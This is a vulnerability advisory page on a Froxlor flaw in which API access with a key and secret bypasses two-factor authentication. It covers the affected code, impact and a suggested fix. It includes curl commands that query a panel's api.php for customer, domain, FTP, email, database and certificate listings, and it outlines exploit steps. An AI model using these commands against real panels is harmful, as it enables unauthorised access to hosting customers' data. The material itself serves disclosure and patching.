Froxlor, Authentication Bypass via API, CVE ID: None (GHSA-f9rx-7wf7-jr36) Critical -DC-Jun2026-184

Listen to this Post

Froxlor’s API authentication (FroxlorRPC::validateAuth) does not enforce Two‑Factor Authentication. When an admin or customer enables 2FA on their account, the web UI correctly requires a TOTP code after password verification. However, the API accepts requests authenticated with only an API key and secret — no TOTP challenge is issued, checked, or required.
The affected code in `lib/Froxlor/Api/FroxlorRPC.php` (lines 75‑105) retrieves the API key and secret from the database and verifies the key, secret, expiration, and API permissions. It completely omits any check for the `type_2fa` field or any call to FroxlorTwoFactorAuth::verifyCode(). There are zero references to 2FA, TOTP, or `type_2fa` in the entire `lib/Froxlor/Api/` directory.
An attacker who obtains a leaked API key+secret for a 2FA‑protected account can therefore access all 165 API functions without providing a second factor. The second factor is simply never requested — no brute force is needed, and the architectural flaw is distinct from previous rate‑limiting issues (such as CVE‑2023‑3173).
The vulnerability exists in Froxlor up to and including version 2.3.5. A clean Docker install of 2.3.5 (Debian Bookworm, PHP 8.2, Apache 2.4) demonstrates the issue: the web UI redirects to a 2FA page after password submission, while the same API key+secret grants full access to Customers.listing, Domains.listing, Ftps.listing, Emails.listing, Mysqls.listing, Certificates.listing, and 160+ other commands.

DailyCVE Form:

Platform: Froxlor
Version: 2.3.5
Vulnerability: 2FA bypass
Severity: Critical
date: 2026-06-03
Prediction: Not yet patched

What Undercode Say:

Confirm no 2FA code in API directory
grep -rn '2fa|totp|two.factor|FroxlorTwoFactor' lib/Froxlor/Api/
(no output)
API access without TOTP
curl -s -u "API_KEY:API_SECRET" \
-H 'Content-Type: application/json' \
-d '{"command":"Customers.listing","params":{}}' \
https://panel.example.com/api.php
Additional sensitive commands
curl -s -u "KEY:SECRET" -d '{"command":"Domains.listing"}' .../api.php
curl -s -u "KEY:SECRET" -d '{"command":"Ftps.listing"}' .../api.php
curl -s -u "KEY:SECRET" -d '{"command":"Emails.listing"}' .../api.php
curl -s -u "KEY:SECRET" -d '{"command":"Mysqls.listing"}' .../api.php
curl -s -u "KEY:SECRET" -d '{"command":"Certificates.listing"}' .../api.php
curl -s -u "KEY:SECRET" -d '{"command":"DomainZones.listing","params":{"domainname":"example.com"}}' .../api.php
Automated PoC script
python3 poc.py https://panel.example.com API_KEY API_SECRET

Exploit:

The exploit requires only a valid API key+secret for a 2FA‑protected account. No TOTP code is needed. An attacker can:
1. Obtain an API key+secret through database leaks, log files, or compromised automation scripts.
2. Send authenticated requests directly to `/api.php` using HTTP Basic Authentication (the API key as username, the secret as password).
3. Execute any of the 165 API commands, including write operations like Customers.update, Domains.add, and Ftps.add.

Protection:

Add 2FA verification to FroxlorRPC::validateAuth(). After the existing database lookup, query the user’s `type_2fa` status. If type_2fa != 0, require a TOTP code via a custom header (e.g., X-2FA-Code) or a `totp_code` parameter. Reject the request if the code is missing or invalid.
Alternatively, disable API key creation for accounts with 2FA enabled, or force re‑verification of 2FA before generating a new API key.

Impact:

  • Customer data (PII) – readable and modifiable.
  • Domains and DNS records – full control.
  • Email accounts – create, read, delete.
  • FTP accounts – home directories and credentials exposed.
  • MySQL databases – full management.
  • SSL certificates – private keys readable.
  • All 165 API functions, including write operations, accessible without the second factor.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top